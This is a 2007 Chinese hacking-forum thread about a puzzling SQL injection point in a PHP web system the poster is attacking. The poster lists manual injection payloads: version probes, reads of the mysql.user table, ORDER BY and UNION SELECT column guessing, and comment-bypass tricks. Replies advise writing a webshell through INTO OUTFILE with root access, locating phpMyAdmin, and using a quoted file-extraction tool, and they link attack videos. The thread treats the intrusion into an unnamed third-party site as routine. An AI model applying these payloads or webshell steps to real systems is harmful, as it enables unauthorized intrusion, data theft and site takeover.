[讨论]奇怪的php注射点
议题作者:唐不狐信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
在某web系统后台检测的时候获得一个注射点,情况如下:
.php?vm=30'
报错,得到web路径 /*(窃喜ing)
.php?vm=30 and 1=1
返回正常
.php?vm=30 and 1=2
页面异常
----------------到此判断可注射----------------------------------
接下来
.php?vm=30 and ord(mid(version(),1,1))>51
返回正常,说明数据库版本大于4.0,支持union查询
.php?vm=30 and (select count(*) from mysql.user)>0
正常,嘿嘿,有权限喔.
接着用C4经典注射证实如下:mysql版本4.1.2,连接用户是root,库名也出来了
--------------------------接下来就郁闷了------------------------------------------
.php?vm=30/*buhu
返回错误,晕猪,难道不能用/*注释?
.php?vm=30#buhu
返回正常,可以用#注释
接下来常规手法猜字段长度
.php?vm=30 order by 10
报错,日,字段小于10?其实我估算了下,字段绝对在10以上的.暂且信它,继续...
.php?vm=30 order by 5 返回错误
.php?vm=30 order by 1 返回错误
.php?vm=30 order by 0 返回错误,彻底无语 (加#注释一样)
.php?vm=30 and 1=2 union select 1,2,3...... 咱就干到110,还是报错.不可能哇
换个方式
.php?vm=30 and 1=2 union select char(97),char(97),char(97)....
依然报错
---------------------------虾米意思?--------------------------------------------------
请大大们指教! thx!
1 什么原因?
2 如何继续? 注意返回的错误信息 有的注入点 不管你的语句是否被正常执行 都会返回错误的~ 不过正常执行和错误的语句 返回的信息是不一样的。 比如说 如果你加上 and 1=1 返回的错误是 A
你加入and 1=2 返回的错误是 B 那你就自己想想哪个语句正常执行了吧。 呃 以上全是我的个人观点。 大大们看了不要笑我哈 感谢回复
报错页面都是一样的
即为加 单引号 后的页面.
我很仔细的观察过 php?vm=30/**/order/**/by/**/5
不知道改成这样能不能注入哦 [s:269] 呵呵 这个是常规的手法嘛
c4和 hdsi3 都有这种方式的,我自然也试了.谢谢 刚才搞一个PHP注入点查询的时候居然提示“存在非法操作!!” [s:265] [s:275] 如果是弹出 alert "非法操作",那是在脚本里做了对注射用到的关键字进行监控处理,并利用script弹出警告对话框.
另外一种,即对所有出错页面进行自定义.当然那通常不会是弹出型.
继续期待我的问题得到解决 不是弹出的,呵呵
你的问题我也解决不了 [s:270] [s:265] C4这个文章还是工具。哪儿有下。另外你测试用海洋的那个HYSI看看。这种情况很多的。不叫奇怪。只是大家都没平下心来解决。最好找个URL大家都去测试测试。。继续讨论。。 由于不能发帖。我再提个问题。 MYSQL注射得到ROOT和PASS。远程禁止连接。如何得到WEBSHELL。无后台。不能上传图片。。如何建表。。 手工测试为主,几种常见的php注射工具也都试了下。
回楼上:
mysql+php注射 如果是root连接,可以试试 into outfile 导出一个shell
当然有两个前提
1。导出的目录需要有写权限 (找一个上传目录一般就有)
2。由于语句用到单引号,所以单引号被过滤那也不成功。详细可参考angel关于mysql注射导出webshell一文 猜想是
php 字符型 magic_quotes_gpc=On 呵呵。。。那些基本情况都不行了。。肯定是ON了。。。另外如果是LINUX。如何爆路径或者猜路径的经验。。。TKS 老外有个TOOL鸟。好像在MIRW0RM能下到 你注意一下 他们VIDEO那里 还有动画。那个可以帮到你 。 #这个要urlencode的。提醒一下,估计LZ不会犯这种错误。 thx 楼上两位
# === %23 这个的确没犯错
14楼的大哥说video 有点印象,晚上回去再研究研究。
ps:幸运的是站点我已有其他途径下手 ^0^ 弱弱的问一句,那个video找到的冒个泡哇 [s:269] [s:263] video很简单,我很早就有收集。你可以直接下载:
[url]http://str0ke213.tradebit.com/pub/8/19.flv[/url]
[url]http://str0ke213.tradebit.com/pub/8/18.flv[/url]
一共两个,看一下就知道怎么用!
附上第一个video里提到的三个程序,是编译好的。
第二个video里提到的pl脚本也在压缩包内。 gui版的 get 功能无法使用
命令行下 get 参数能用,不过 读不出文件内容 提示是 不允许或文件不存在 (当然文件是肯定存在的)
手头也有另外一个 mysql注射不支持 union 时用到的 工具-mysqlget
[quote]
Usage: mysqlget <options> <Thread>
Options:
-t Target injection URL include %s to replace. #注入点URL,"%s"为代码插入处
-f Remote file to load or Function to echo. #远程文件绝对路径或者要执行的函数
-s Local file to saved.If file exists,async append #保存到本地的路径,如果存在,将和远程文件进行同步下载,也就是断点继传,用于下载较大的文件
-r Range of remote file's offset or bytes #要下载的数据大小,可以是一个范围,如1-500也可以是一个数字,如200,程序自动判断是否断点续传
-Mr Match code case response right. #页面返回正常的匹配的内容,和下面的参数只选其一
-Me Match code case response error. #页面返回错误时匹配的内容[/quote]
以上摘自readme,使用效果同楼上提供的工具.
问题是:为啥目标的mysql版本>4.0,却无法使用union查询呢?明明是root连接,却无法读取文件呢?甚至是web目录的文件 union 语句必须借助前面的select语句生存~!
那就代表前面的select 语句存在你不可以转为为数字的类型~ 有可能他查询的有包含blog类型等 感谢楼上的,至少让我能够想象到问题的一半。thx mysqlbf.exe能执行user(),那能不能执行select这些啊?
我测试不行,不知道是不是语法错误.... [quote]引用第11楼唐不狐于2007-04-07 09:02发表的 :
猜想是
php 字符型 magic_quotes_gpc=On[/quote]
我靠 =on 就是不能使用'而已 你哪个点只要是数字型的就基本没影响
你直接把#放在浏览器上 还执行个毛哦
换成%23就ok了啊
当然了 有时候会出现个别怪异情况
实在不行你试试 不要%20
直接id=1/**/and/**/1=1%23
这种情况比较少见 你试试 原因是 union查询必须依赖前面的 select
假如前面的不是 select 而是 update呢?如计数器 [quote]引用第9楼heiye88于2007-04-06 10:04发表的 :
由于不能发帖。我再提个问题。 MYSQL注射得到ROOT和PASS。远程禁止连接。如何得到WEBSHELL。无后台。不能上传图片。。如何建表。。[/quote]
或许可以利用ROOT浏览目录得到PHPMYADMIN的后台,这样的几率也是相当高的,另外支持不狐的解释 [quote]引用第18楼唐不狐于2007-04-14 13:36发表的 :
gui版的 get 功能无法使用
命令行下 get 参数能用,不过 读不出文件内容 提示是 不允许或文件不存在 (当然文件是肯定存在的)
手头也有另外一个 mysql注射不支持 union 时用到的 工具-mysqlget
.......[/quote]
这种问题只有两个解释
1。管理员是安全高手(不太可能)
2。管理员BT 抱歉帮不了你。我从来只遇到过小于4.0了。每次第一句>51 就错误了。所以没遇到此种情况。
页:
[1]